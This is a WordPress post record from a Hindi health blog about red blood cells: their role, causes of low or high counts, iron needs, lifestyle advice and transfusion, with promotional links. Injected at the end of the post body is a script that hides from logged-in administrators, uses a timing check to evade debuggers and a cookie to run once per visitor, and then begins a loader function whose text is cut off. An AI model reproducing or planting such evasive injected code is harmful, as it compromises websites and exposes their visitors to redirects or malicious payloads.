{"id":8908,"date":"2023-09-30T17:11:50","date_gmt":"2023-09-30T17:11:50","guid":{"rendered":"https:\/\/www.healthsrainbow.com\/blog\/?p=8908"},"modified":"2025-10-24T21:21:07","modified_gmt":"2025-10-24T21:21:07","slug":"rbc-%e0%a4%95%e0%a4%be%e0%a4%89%e0%a4%82%e0%a4%9f-%e0%a4%95%e0%a5%88%e0%a4%b8%e0%a5%87-%e0%a4%ac%e0%a5%9d%e0%a4%be%e0%a4%af%e0%a5%87","status":"publish","type":"post","link":"https:\/\/www.healthsrainbow.com\/blog\/2023\/09\/30\/rbc-%e0%a4%95%e0%a4%be%e0%a4%89%e0%a4%82%e0%a4%9f-%e0%a4%95%e0%a5%88%e0%a4%b8%e0%a5%87-%e0%a4%ac%e0%a5%9d%e0%a4%be%e0%a4%af%e0%a5%87\/","title":{"rendered":"The Journey of a Red Blood Cell: From Bone Marrow to Body"},"content":{"rendered":"<h1>\u00a0<\/h1>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9627\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/RED-BLOOD-300x225.jpg\" alt=\"RED BLOOD\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/RED-BLOOD-300x225.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/RED-BLOOD-768x576.jpg 768w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/RED-BLOOD.jpg 900w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0906\u092f\u0930\u0928 \u0915\u0940 \u0915\u092e\u0940 \u0938\u0947 \u0939\u0940\u092e\u094b\u0917\u094d\u0932\u094b\u092c\u093f\u0928 \u0915\u092e \u0939\u094b \u091c\u093e\u0924\u093e \u0939\u0948 \u0914\u0930 \u0930\u0947\u0921 \u092c\u094d\u0932\u0921 \u0938\u0947\u0932\u094d\u0938 \u0915\u092e \u0939\u094b \u091c\u093e\u0924\u0940 \u0939\u0948\u0902\u0964<\/li>\n<li>\u0907\u0938\u0932\u093f\u090f \u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902 \u0915\u0940 \u0938\u0902\u0916\u094d\u092f\u093e \u092c\u0922\u093c\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0906\u092f\u0930\u0928 \u0935\u093e\u0932\u0947 \u092b\u0942\u0921\u094d\u0938 \u0916\u093e\u090f\u0902\u0964<\/li>\n<li>\u0928\u091f\u094d\u0938, \u092c\u0940\u0928\u094d\u0938, \u0915\u093f\u0936\u092e\u093f\u0936, \u0926\u093e\u0932, \u0938\u0940\u092b\u0942\u0921, \u091a\u093f\u0915\u0928 \u0906\u0926\u093f \u0916\u093e\u0915\u0930 \u0906\u092f\u0930\u0928 \u092e\u093f\u0932\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>\u0932\u093e\u0932<\/strong> <strong>\u0930\u0915\u094d\u0924<\/strong> <strong>\u0915\u094b\u0936\u093f\u0915\u093e\u090f\u0902<\/strong> <strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong> ?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9628\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/KYA-HOTI-300x225.jpg\" alt=\"KYA HOTI\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/KYA-HOTI-300x225.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/KYA-HOTI.jpg 640w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0930\u0915\u094d\u0924 \u092e\u0947\u0902 \u092e\u094c\u091c\u0942\u0926 \u0935\u093f\u0936\u0947\u0937 \u0924\u0930\u0939 \u0915\u0940 \u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902 \u0915\u094b \u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e \u0915\u0939\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u090f\u0902 \u0906\u092a\u0915\u0940 \u0939\u0921\u094d\u0921\u0940 \u0915\u0947 \u0905\u0902\u0926\u0930 \u0905\u0938\u094d\u0925\u093f \u092e\u091c\u094d\u091c\u093e (bone marrow) \u092e\u0947\u0902 \u092c\u0928\u0924\u0940 \u0939\u0948\u0964 \u092f\u0939 \u0915\u094b\u0936\u093f\u0915\u093e\u090f\u0902 \u0917\u094b\u0932\u093e\u0915\u093e\u0930 \u0939\u094b\u0924\u0940 \u0939\u0948, \u0932\u0947\u0915\u093f\u0928 \u0907\u0928\u0915\u0947 \u092c\u0940\u091a \u0915\u093e \u0939\u093f\u0938\u094d\u0938\u093e \u0925\u094b\u0921\u093c\u093e \u0926\u092c\u093e \u0939\u0941\u0906 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0930\u0915\u094d\u0924 \u092e\u0947\u0902 \u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902 \u0915\u0940 \u0938\u0902\u0916\u094d\u092f\u093e \u0935\u094d\u092f\u0915\u094d\u0924\u093f \u0915\u0940 \u0906\u092f\u0941 \u0915\u0947 \u0905\u0928\u0941\u0938\u093e\u0930 \u0915\u092e \u092f\u093e \u091c\u094d\u092f\u093e\u0926\u093e \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0902\u0964 \u0935\u094d\u092f\u0915\u094d\u0924\u093f \u0915\u0940 \u0906\u092f\u0941 \u0915\u0947 \u0905\u0928\u0941\u0938\u093e\u0930 \u0907\u0928 \u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902 \u0915\u093e \u0938\u093e\u092e\u093e\u0928\u094d\u092f \u0938\u0902\u0916\u094d\u092f\u093e \u0938\u0947 \u0915\u092e \u092f\u093e \u091c\u094d\u092f\u093e\u0926\u093e \u0939\u094b\u0928\u093e, \u0926\u094b\u0928\u094b\u0902 \u0939\u0940 \u0938\u094d\u0925\u093f\u0924\u093f\u092f\u093e\u0902 \u0938\u092e\u0938\u094d\u092f\u093e \u0915\u093e \u0915\u093e\u0930\u0923 \u092c\u0928 \u0938\u0915\u0924\u0940 \u0939\u0948\u0902\u0964<\/li>\n<li>\u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u090f\u0902 \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u0911\u0915\u094d\u0938\u0940\u091c\u0928 \u0915\u094b \u0932\u0947 \u091c\u093e\u0928\u0947 \u0914\u0930 \u0915\u093e\u0930\u094d\u092c\u0928 \u0921\u093e\u0908 \u0911\u0915\u094d\u0938\u093e\u0907\u0921 \u0915\u094b \u092c\u093e\u0939\u0930 \u0915\u0930\u0928\u0947 \u0915\u0947 \u0938\u093e\u0925 \u0939\u0940 \u0915\u0908 \u0905\u0928\u094d\u092f \u092e\u0939\u0924\u094d\u0935\u092a\u0942\u0930\u094d\u0923 \u0915\u093e\u0930\u094d\u092f \u0915\u0930\u0924\u0940 \u0939\u0948\u0902\u0964 \u092f\u0947 \u0915\u094b\u0936\u093f\u0915\u093e\u090f\u0902 \u0938\u092e\u093e\u0928\u094d\u092f\u0924\u0903 \u0915\u0930\u0940\u092c 120 \u0926\u093f\u0928\u094b\u0902 \u0924\u0915 \u091c\u0940\u0935\u093f\u0924 \u0930\u0939\u0924\u0940 \u0939\u0948, \u091c\u093f\u0938\u0915\u0947 \u092c\u093e\u0926 \u0935\u0947 \u0928\u0937\u094d\u091f \u0939\u094b \u091c\u093e\u0924\u0940 \u0939\u0948\u0902<\/li>\n<\/ul>\n<h2><strong>\u0932\u093e\u0932<\/strong> <strong>\u0930\u0915\u094d\u0924<\/strong> <strong>\u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u0915\u092e\u0940<\/strong> <strong>\u0939\u094b\u0928\u0947<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0915\u093e\u0930\u0923<\/strong> <strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u0948?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9629\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/CAUSE-300x169.jpg\" alt=\"CAUSE\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/CAUSE-300x169.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/CAUSE-768x432.jpg 768w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/CAUSE-1024x576.jpg 1024w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/CAUSE.jpg 1280w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0930\u0915\u094d\u0924\u0938\u094d\u0924\u094d\u0930\u093e\u0935 \u0905\u0927\u093f\u0915 \u0939\u094b\u0928\u093e<\/li>\n<li>\u0915\u0941\u092a\u094b\u0937\u0923 (\u0914\u0930 \u092a\u0922\u093c\u0947\u0902 &#8211; \u092a\u094b\u0937\u0923 \u0915\u0940 \u0915\u092e\u0940 \u0915\u093e \u0907\u0932\u093e\u091c)<\/li>\n<li>\u0915\u093f\u0921\u0928\u0940 \u0938\u0902\u092c\u0902\u0927\u0940 \u0930\u094b\u0917 \u0939\u094b\u0928\u093e<\/li>\n<li>\u0905\u0938\u094d\u0925\u093f \u092e\u091c\u094d\u091c\u093e \u0915\u093e \u0915\u093e\u0930\u094d\u092f \u0928 \u0915\u0930 \u092a\u093e\u0928\u093e<\/li>\n<li>\u092a\u094d\u0930\u0947\u0917\u094d\u0928\u0947\u0902\u0938\u0940<\/li>\n<li>\u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u092a\u093e\u0928\u0940 \u0915\u0940 \u0905\u0927\u093f\u0915\u0924\u093e \u0939\u094b\u0928\u093e<\/li>\n<li>\u0917\u0930\u094d\u092d\u093e\u0935\u0938\u094d\u0925\u093e \u092e\u0947\u0902 \u0916\u0942\u0928 \u0915\u0940 \u0915\u092e\u0940)<\/li>\n<li>Anaemia<\/li>\n<li>Unhealthy diet<\/li>\n<\/ul>\n<h2><strong>\u0932\u093e\u0932<\/strong> <strong>\u0930\u0915\u094d\u0924<\/strong> <strong>\u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u0905\u0927\u093f\u0915\u0924\u093e<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0915\u093e\u0930\u0923 \u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u0948?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9630\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/RED-BLOOD-CAUSE-300x225.jpg\" alt=\"RED BLOOD CAUSE\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/RED-BLOOD-CAUSE-300x225.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/RED-BLOOD-CAUSE.jpg 400w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902 \u0915\u093e \u0938\u093e\u092e\u093e\u0928\u094d\u092f \u0938\u0902\u0916\u094d\u092f\u093e \u0938\u0947 \u0905\u0927\u093f\u0915 \u0939\u094b\u0928\u093e \u0935\u094d\u092f\u0915\u094d\u0924\u093f \u0915\u0947 \u0932\u093f\u090f \u0916\u0924\u0930\u0928\u093e\u0915 \u0939\u094b\u0924\u093e \u0939\u0948 \u0914\u0930 \u092f\u0939 \u0918\u093e\u0924\u0915 \u0938\u094d\u0925\u093f\u0924\u093f \u092a\u0948\u0926\u093e \u0915\u0930 \u0938\u0915\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0928\u093f\u092e\u094d\u0928\u0932\u093f\u0916\u093f\u0924 \u0915\u093e\u0930\u0923 \u0939\u094b \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u0939\u0943\u0926\u092f \u0938\u0902\u092c\u0902\u0927\u0940 \u0930\u094b\u0917<\/li>\n<li>\u0905\u0938\u094d\u0925\u093f \u092e\u091c\u094d\u091c\u093e \u0938\u0902\u092c\u0902\u0927\u0940 \u0930\u094b\u0917 \u0939\u094b\u0928\u093e<\/li>\n<li>\u0927\u0942\u092e\u094d\u0930\u092a\u093e\u0928 \u0915\u0930\u0928\u093e<\/li>\n<li>\u0915\u093f\u0921\u0928\u0940 \u0915\u0940 \u0938\u092e\u0938\u094d\u092f\u093e<\/li>\n<li>\u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u092a\u093e\u0928\u0940 \u0915\u0940 \u0915\u092e\u0940, \u0906\u0926\u093f\u0964<\/li>\n<\/ul>\n<h2><strong>\u0932\u093e\u0932<\/strong> <strong>\u0930\u0915\u094d\u0924<\/strong> <strong>\u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0915\u092e<\/strong> <strong>\u092f\u093e<\/strong> <strong>\u091c\u094d\u092f\u093e\u0926\u093e<\/strong> <strong>\u0939\u094b\u0928\u0947<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u0935\u091c\u0939<\/strong> <strong>\u0915\u094d\u092f\u093e \u0939\u094b<\/strong> <strong>\u0938\u0915\u0924\u0940<\/strong> <strong>\u0939\u0948\u0902?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9631\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/RED-300x205.jpg\" alt=\"RED\" width=\"300\" height=\"205\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/RED-300x205.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/RED.jpg 650w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0906\u092f\u0930\u0928 \u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902 \u0915\u094b \u092c\u0922\u093c\u093e\u0924\u093e \u0939\u0948<\/li>\n<li>\u0906\u092f\u0930\u0928 \u090f\u0915 \u0910\u0938\u093e \u092a\u094b\u0937\u0915 \u0924\u0924\u094d\u0935 \u0939\u0948, \u091c\u093f\u0938\u0947 \u0906\u092e\u0924\u094c\u0930 \u092a\u0930 \u090f\u0928\u0940\u092e\u093f\u092f\u093e \u0938\u0947 \u091c\u094b\u095c\u0915\u0930 \u0926\u0947\u0916\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0906\u092a\u0915\u093e \u0936\u0930\u0940\u0930 \u0906\u092f\u0930\u0928 \u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u0939\u0940\u092e\u094b\u0917\u094d\u0932\u094b\u092c\u093f\u0928 \u0915\u0947 \u0928\u093f\u0930\u094d\u092e\u093e\u0923 \u092e\u0947\u0902 \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0939\u0940\u092e\u094b\u0917\u094d\u0932\u094b\u092c\u093f\u0928 \u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902 \u092e\u0947\u0902 \u0911\u0915\u094d\u0938\u0940\u091c\u0928 \u0915\u093e \u0938\u0902\u0917\u094d\u0930\u0939 \u0915\u0930\u0924\u093e \u0939\u0948\u0964 \u0906\u092f\u0930\u0928 \u0915\u0947 \u092c\u093f\u0928\u093e \u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u090f\u0902 \u0928\u0937\u094d\u091f \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0902 \u092f\u093e \u0936\u0930\u0940\u0930 \u0915\u0947 \u0935\u093f\u092d\u093f\u0928\u094d\u0928 \u0905\u0902\u0917\u094b\u0902 \u092e\u0947\u0902 \u0911\u0915\u094d\u0938\u0940\u091c\u0928 \u092a\u0939\u0941\u0902\u091a\u093e\u0928\u0947 \u092e\u0947\u0902 \u0905\u0938\u092e\u0930\u094d\u0925 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0902\u0964<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>\u0906\u092f\u0930\u0928<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u0915\u092e\u0940<\/strong> <strong>\u0915\u093e<\/strong> <strong>\u0907\u0932\u093e\u091c \u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u094b\u0924\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9632\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/IRON-KAMI-300x249.jpg\" alt=\"IRON KAMI\" width=\"300\" height=\"249\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/IRON-KAMI-300x249.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/IRON-KAMI.jpg 650w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u094b \u0930\u094b\u091c\u093e\u0928\u093e 7 \u0938\u0947 10 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e, \u0915\u093f\u0936\u094b\u0930 \u0932\u0921\u093c\u0915\u093f\u092f\u094b\u0902 \u0915\u094b \u0915\u0930\u0940\u092c 15 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e \u0914\u0930 \u0917\u0930\u094d\u092d\u0927\u093e\u0930\u0923 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<strong>\u092c\u0922\u093c\u093e\u0928\u0947<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0932\u093f\u090f<\/strong> <strong>\u0915\u0930\u0947\u0902<\/strong> <strong>\u091c\u0940\u0935\u0928\u0936\u0948\u0932\u0940<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u092c\u0926\u0932\u093e\u0935<\/strong><strong>\u00a0 <\/strong><strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u094b\u0924\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9633\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/BODY-RED-300x169.jpg\" alt=\"BODY RED\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/BODY-RED-300x169.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/BODY-RED.jpg 631w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0905\u092a\u0928\u0940 \u0926\u093f\u0928\u091a\u0930\u094d\u092f\u094b\u0902 \u092e\u0947\u0902 \u0915\u0941\u091b \u0924\u0930\u0939 \u0915\u0940 \u0906\u0926\u0924\u094b\u0902 \u0915\u094b \u0905\u092a\u0928\u093e\u0915\u0930 \u0914\u0930 \u0916\u0930\u093e\u092c \u0906\u0926\u0924\u094b\u0902 \u0915\u094b \u0926\u0942\u0930 \u0915\u0930\u0915\u0947 \u092d\u0940 \u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902 \u0915\u0940 \u0917\u093f\u0928\u0924\u0940 \u0915\u094b \u092c\u0922\u093c\u093e\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964 \u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902 \u0915\u094b \u092c\u0922\u093c\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0926\u093f\u0928\u091a\u0930\u094d\u092f\u093e \u092e\u0947\u0902 \u0915\u093f\u090f \u091c\u093e\u0928\u0947 \u0935\u093e\u0932\u0947 \u092c\u0926\u0932\u093e\u0935\u094b\u0902 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\u0906\u092a \u0905\u092a\u0928\u0940 \u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902 \u0915\u094b \u092c\u0922\u093c\u093e\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902 \u0924\u094b \u0906\u092a\u0915\u094b \u0927\u0942\u092e\u094d\u0930\u092a\u093e\u0928 \u0914\u0930 \u0936\u0930\u093e\u092c \u092a\u0940\u0928\u0947 \u0915\u0940 \u0906\u0926\u0924 \u0915\u094b \u091b\u094b\u0921\u093c\u0928\u093e \u0939\u094b\u0917\u093e\u0964<\/li>\n<li>\u0938\u093f\u0917\u0930\u0947\u091f \u092a\u0940\u0928\u0947 \u0938\u0947 \u0906\u092a\u0915\u0947 \u0936\u0930\u0940\u0930 \u0915\u093e \u0930\u0915\u094d\u0924 \u092a\u094d\u0930\u0935\u093e\u0939 \u092a\u094d\u0930\u092d\u093e\u0935\u093f\u0924 \u0939\u094b\u0924\u093e \u0939\u0948 \u0914\u0930 \u0907\u0938\u0938\u0947 \u0938\u092d\u0940 \u0905\u0902\u0917\u094b\u0902 \u0924\u0915 \u0911\u0915\u094d\u0938\u0940\u091c\u0928 \u0938\u0939\u0940 \u0938\u0947 \u0928\u0939\u0940\u0902 \u092a\u0939\u0941\u0902\u091a \u092a\u093e\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0938\u093e\u0925 \u0939\u0940 \u0907\u0938\u0938\u0947 \u0905\u0938\u094d\u0925\u093f \u092e\u091c\u094d\u091c\u093e \u092e\u0947\u0902 \u0911\u0915\u094d\u0938\u0940\u091c\u0928 \u0915\u0940 \u0915\u092e\u0940 \u0939\u094b\u0928\u0947 \u0932\u0917\u0924\u0940<\/li>\n<li>\u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e \u0936\u0930\u093e\u092c \u092a\u0940\u0928\u0947 \u0938\u0947 \u0930\u0915\u094d\u0924 \u0917\u093e\u0922\u093c\u093e \u0939\u094b\u0928\u0947 \u0932\u0917\u0924\u093e \u0939\u0948 \u0914\u0930 \u0907\u0938\u0938\u0947 \u092d\u0940 \u0930\u0915\u094d\u0924 \u092e\u0947\u0902 \u0911\u0915\u094d\u0938\u0940\u091c\u0928 \u0915\u0940 \u0915\u092e\u0940 \u0939\u094b\u0928\u0947 \u0932\u0917\u0924\u0940 \u0939\u0948\u0964 \u0905\u0927\u093f\u0915 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0936\u0930\u093e\u092c \u092a\u0940\u0928\u0947 \u0938\u0947 \u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u090f\u0902 \u0915\u092e \u092c\u0928\u0924\u0940 \u0939\u0948 \u0914\u0930 \u092a\u0942\u0930\u094d\u0923 \u0930\u0942\u092a \u0938\u0947 \u0935\u093f\u0915\u0938\u093f\u0924 \u0928\u0939\u0940\u0902 \u0939\u094b \u092a\u093e\u0924\u0940 \u0939\u0948\u0902\u0964<\/li>\n<\/ul>\n<h2>\u00a0<\/h2>\n<h2>\u00a0<strong>\u0916\u0942\u0928<\/strong> <strong>\u091a\u0922\u093c\u093e\u0928\u093e<\/strong><\/h2>\n<ul>\n<li>\u0905\u0917\u0930 \u0906\u0939\u093e\u0930 \u0914\u0930 \u0938\u092a\u094d\u0932\u0940\u092e\u0947\u0902\u091f\u094d\u0938 \u0932\u0947\u0928\u0947 \u0915\u0947 \u092c\u093e\u0935\u091c\u0942\u0926 \u0906\u092a\u0915\u0940 \u0932\u093e\u0932 \u0930\u0915\u094d\u0924 \u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902 \u0915\u0940 \u0917\u093f\u0928\u0924\u0940 \u0915\u092e \u0939\u094b \u0924\u094b \u0910\u0938\u0947 \u092e\u0947\u0902 \u0921\u0949\u0915\u094d\u091f\u0930 \u0916\u0942\u0928 \u091a\u0922\u093c\u093e\u0928\u0947 \u0915\u0947 \u0935\u093f\u0915\u0932\u094d\u092a \u0915\u094b \u092d\u0940 \u091a\u0941\u0928 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<\/ul>\n\n\n<p><strong>For more information Visit us :<\/strong><\/p>\n\n\n\n<p>Website: <a href=\"https:\/\/www.youtube.com\/redirect?event=video_description&amp;redir_token=QUFFLUhqa2VQQWdHYURCNlk3SkVlUTFCSmh4UmlPNXlRd3xBQ3Jtc0ttaXE0b0t1ckw2SGFuQm41dDBqajRMLXk4UTRHeGNPRjM0azBjQW1WYmZuZ1Y1VVZNVXVDbHpSSWJfVnVJN3Y2QkVDQU9WNG5HbF81a2E0X2RSc1VfR3dUR2Y5cEFFRnltVTBNU3JGTnpQeE5iOWd5OA&amp;q=http%3A%2F%2Fwww.healthsrainbow.com%2F&amp;v=wPm8FUPYWn4\">http:\/\/www.healthsrainbow.com\/<\/a><\/p>\n\n\n\n<p>Website Blog: <a href=\"https:\/\/www.healthsrainbow.com\/blog\/\">https:\/\/www.healthsrainbow.com\/blog\/<\/a><\/p>\n\n\n\n<p>Subscriber: <a href=\"https:\/\/www.youtube.com\/@healthsrainbow4897\">https:\/\/www.youtube.com\/@healthsrainbow4897<\/a><\/p>\n\n\n\n<p>Facebook Page: <a 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href=\"https:\/\/youtu.be\/JS0eC5111TM\">https:\/\/youtu.be\/JS0eC5111TM<\/a><\/li>\n<\/ol>\n<strong>RELATED ARTICLE :&nbsp;<\/strong>\n<ol>\n \t<li>Iron Test :&nbsp;&nbsp;<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/14\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/14\/<\/a><\/li>\n \t<li>Ferritin Test :&nbsp;<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/16\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/16\/<\/a><\/li>\n \t<li>Causes of Anemia&nbsp;:&nbsp;<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2021\/08\/28\/\">https:\/\/www.healthsrainbow.com\/blog\/2021\/08\/28\/<\/a><\/li>\n<\/ol>\n<strong>VISIT OUR WEBSITE :<\/strong>\n<ol>\n \t<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n \t<li><a href=\"https:\/\/www.healthyvedics.com\/\">https:\/\/www.healthyvedics.com\/<\/a><\/li>\n<\/ol>\n<strong>This video Covers the information about:<\/strong>\n\n<span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">How to increase RBC count?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What are red blood cells?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What causes deficiency of red blood cells?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What causes excess red blood cells?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What is the treatment for iron deficiency?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What are the lifestyle changes to increase red blood cells?<\/span><\/span>\n\n<strong>PUBLISHED BY HEALTHS RAINBOW<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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